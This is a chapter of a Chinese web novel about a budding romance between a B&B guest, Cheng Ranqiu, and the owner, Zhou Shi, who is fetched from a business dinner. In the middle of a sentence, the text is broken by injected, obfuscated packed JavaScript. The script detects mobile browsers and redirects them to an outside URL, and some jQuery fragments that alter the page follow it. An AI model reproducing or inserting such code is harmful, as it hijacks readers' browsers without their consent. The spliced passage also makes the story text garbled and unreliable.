“咚、咚、咚——”
心跳声清晰可闻，一声声如擂鼓。
“嘶——”
纸巾隔断了触感。
程染秋感觉那一处几乎烧起来，恍神间能闻到纸巾燃成灰的气味。
“自己擦擦。”周时说。
“谢谢，舒服多了。”程染秋遮着眼，听见自己开了口。
又听见他说，“客气，走了。”
“好，时哥晚安。”程染秋回。
“晚安。秋儿。”周时的声音很沉，“儿”字几不可闻。
“咔哒——”
门被带上，落了锁。
“呼——”
程染秋将自己砸在床上，被残留的青橘味裹得严严实实。
“干嘛去了？”沈宁悠哉地靠在周时房间门口，看着他从电梯出来。
“你不是知道。”周时看他一眼，伸手按密码。
“送温暖啊——”沈宁直起身。
“你干嘛？”周时将手放在门把手上，没有按下去。
“我那没沐浴露了。”沈宁说。
“怎么不找宋城？”周时斜他一眼。
“气着呢，惹不起。”沈宁无所谓地笑笑。
“等着。”周时进门拿出来递给他。
沈宁接了，顺便损他：“你这不给人进房间的臭毛病能不能改改。”
“不能。”周时回。
“稀罕。”沈宁转身回自己房间，看了隔壁房门一眼，才摇摇头进了门。
周时的房间隔音很好，听不见外边什么时候关的门，现在这会儿他也没心思关注。
滴眼药水这事儿，要说放在医生与患者身上，正常；
放在家人身上，也正常；
放在民宿老板和客人之间，勉强过得去。
但要放在两个性取向相同的人身上，就挺越界的。
被一双睫毛浓密的杏眼专注地望着，真受不了。
半晌，房间内飘起一声低语：“越活越回去了。”
“越活越年轻了啊时哥！”
次日一早，程染秋进后院吃早饭，听见宋城的嚷嚷，抬头看见话题主人公，眼底猛地一缩。
真他妈性感。
周时向来喜欢穿休闲的深色衣服，今日难得穿了件白衬衣，生生将眉眼衬得愈加清隽，下身配了条西装裤，掐得腰细腿长身姿挺拔，偏偏还是那副慵懒范儿，勾得人心神荡漾。
“早。”周时朝他勾手，“过来吃早饭。”
手指修长，骨节分明。
触感滚烫。
程染秋抬起手背在自己眼睑下至蹭了下，机械地过去落座，被宋城撞了下胳膊：“我时哥帅吧！”
“帅。”程染秋愣愣点头。
“怎么就你时哥了。”沈宁说。
“你闭嘴。”宋城瞪他。
“时哥，应酬是今天？”程染秋问。
“嗯，”周时笑笑，“进趟城，需要带东西吗？”
程染秋摇摇头：“时宿太全面了，什么都不缺。”
沈宁插嘴：“哟，有程老师这样的客人真是我们的福气。”
“滚蛋。”周时横他一眼。
程染秋结束一天的教学，送走俩男生后，到后院陪况奶奶聊了会天，又去前台晃悠。
“小溪，宋城他们呢？”
“去镇上了，小程哥，你找他俩有事？”小溪回他。
程染秋摇头：“况奶奶点人数呢，时哥今天还回吗？”
“不一定，看他那边结束的时间。”小溪在统计当日的流水，计算器和键盘按得响亮。
“我有个快递，想着他回的话帮我捎上。”
“今天估计悬，”小溪皱眉，“时哥喝了酒会顾不上。”
“喝酒？“”程染秋也蹙眉，两人的眉心能夹死几只蚊子，他问，“那开不了车。”
“没开车，他今天把车子停驿站了，打车走的。所以回不回还不一定，一般到了晚上，司机也不愿意接到我们这的单子。”
门外有影子晃动，程染秋看过去，人未至，声先到——“小溪，今天老周不在？”
三秒后，人才进了门，一身工装，体格健硕，大咧咧地朝四周张望。
“秦哥，”小溪走出柜台招呼，笑道，“今天怎么过来了？时哥有应酬，没回呢。”
“我说怎么不接电话，”秦哥退到门外，点了根烟，朝身后扬了扬下巴，“喏，他这迈巴赫，在我那停了有段时间，我那又来了几辆新车，没地儿放，我就直接给开回来了，你们这地方大。我说你们这来的客人都挺有钱啊，上回大奔……”
“是我的。”程染秋走上前，颔首道，“麻烦了，多少费用，我转您。”
秦哥摆摆手：“老周给了，你和他结算就成。试驾下吧。”
“不用，周老板找的人，放心。”程染秋笑笑。
秦哥多看他几眼：“这位兄弟……”
程染秋伸出手：“您好，程染秋。”
秦哥有些意外，手掌在自己衣服上擦了擦，回握：“秦凯。老周还真是，介绍来的都是爽快人。”
“您客气。”程染秋回。
秦凯摆摆手：“行，那我撤了，有问题再联系。”
“不吃饭啊？”小溪追出去喊。
“不了，店里还有活。”秦凯说话间就要上外边停着的面包车，驾驶座还坐着一人。
“等等，”小溪一溜小跑，从柜子里翻出两只沉甸甸的袋子，“差点忘了，时哥说给小宝的，本来想着来店里的时候带过来的，正好你来就拿上吧。”
“啧——这人，”秦哥将烟往一旁扇了扇，“这不寒碜我？我可是空手来的啊——”
小溪笑出声：“时哥说了，过段时间来你那喝茶。”
“行，我拿走了，茶给你们备着，记得来，”秦哥两根手指勾了袋子，“还有这位程先生，有时间一起。”
程染秋笑笑：“得嘞，您慢走。”
今天的餐桌上没往日热闹，程染秋吃得不多，饭后在前院乘凉的功夫，给周时发消息说了车子的事情。
那边过了十来分钟才回了消息：【有停车场，小溪知道，】
程染秋拧眉，标点符号都打错了，这得喝了多少？
他试探着打字：【出来兜风，顺便把你带回来，给个地址。】
手指在发送键上停顿，索性全删了，直接进门拿车钥匙，找到小溪问：“知道时哥在哪家餐馆吗？”
“市中心就两家规格高点的，估计就在其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284014|198407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中一家。小程哥，你要去？”小溪回。
程染秋晃晃车钥匙：“取快递，顺路把周老板接回来。”
“你这顺路顺的。”小溪笑笑，“时哥一般看心情去。那边的人我都有联系方式，等我问问。”
“得嘞，我先出发，问到了发我微信就行。”程染秋朝她眨眼，“先别让时哥知道。”
“哇哦——surprise！”小溪夸张地抽气、捂嘴，又叮嘱道，“你开车小心。可能会下雨，记得把伞带上——”
“得嘞，小溪家长。”
小溪哭笑不得。
空气中泛着青草气，车子没开出去多久，雨滴便打在车顶。
若说盘旋的山路是小时山的脉络，旅客便是新鲜的血液，人来人往的，为这座本来静谧的小山增添了烟火气。
半山腰偶有几户人家炊烟袅袅，再往下，便是一间小平房。
几步路，程染秋没打伞，冲进了驿站。
“小程哥？”李成在收银台后架着腿玩游戏，听见声音忙站起身，“怎么这个点过来了？”
“顺路，你玩，不用管我。”程染秋找到快递，摆摆手，“走了啊。”
李成喊他：“哥，等等！”
程染秋半个身子探回来：“怎么？”
李成拿了个小盒子给他：“时哥的解酒药，白天走的时候落我这了。”
程染秋伸手接了：“再给我两瓶水。”
“给。”
“钱转过来了，走了。”
“欸，好。”新的一轮游戏开始，李成一屁股坐下，嘟囔着，“怎么还往外开了。”
车座上的解酒药像是鞭子，抽着车子加速往前，程染秋拧着眉，内心有些焦灼。
手机上显示着小溪发来的信息：【清风阁。那边服务员说今天叫的酒挺多，一时半会还不会结束，小程哥，你慢点开。】
他回了语音：“好。”
两座貔貅一左一右镇着，餐馆富丽堂皇，门口灯光调得很有格调。
程染秋在车内坐了会，有点憋闷，便下了车，倚在车头。
没一会，餐馆内出来两人，其中一人身形颀长，皮带勾勒出劲腰，左手戴着一只腕表，手上的烟亮着一抹红，垂下的时候，唇边吐出一缕烟，整个人倜傥矜贵。
身旁那人似乎是落下什么东西，又转身进了餐馆。
程染秋直接拨了号，看见那人似乎反应有些迟缓，划了几下才接起来。
“秋儿？”
周时的声音比平日里多了丝懒散的沙哑，他伸手在喉结处揉了揉，轻咳一声将烟在一旁的垃圾桶里摁了。
“时哥，”程染秋迈步，“你这表不错。”
“嗯？”周时转身，眼睛闭上又睁开，愣了会才笑道，“你怎么来了？”
“取快递，”程染秋在台阶下朝上看他，晃了晃车钥匙，“顺路接你回家。”
周时垂下眼眸一时间没言语。
灯光将来人的身影拉得很长，他嘴唇动了动。
“周老板，久等了，走吧，我送……”刚才那人小跑着出来，眼神好奇地在两人之间来回。
周时没回头，眼皮半抬，视线懒懒地落在下方，应了声：“不用了，有人来接。接我回家。”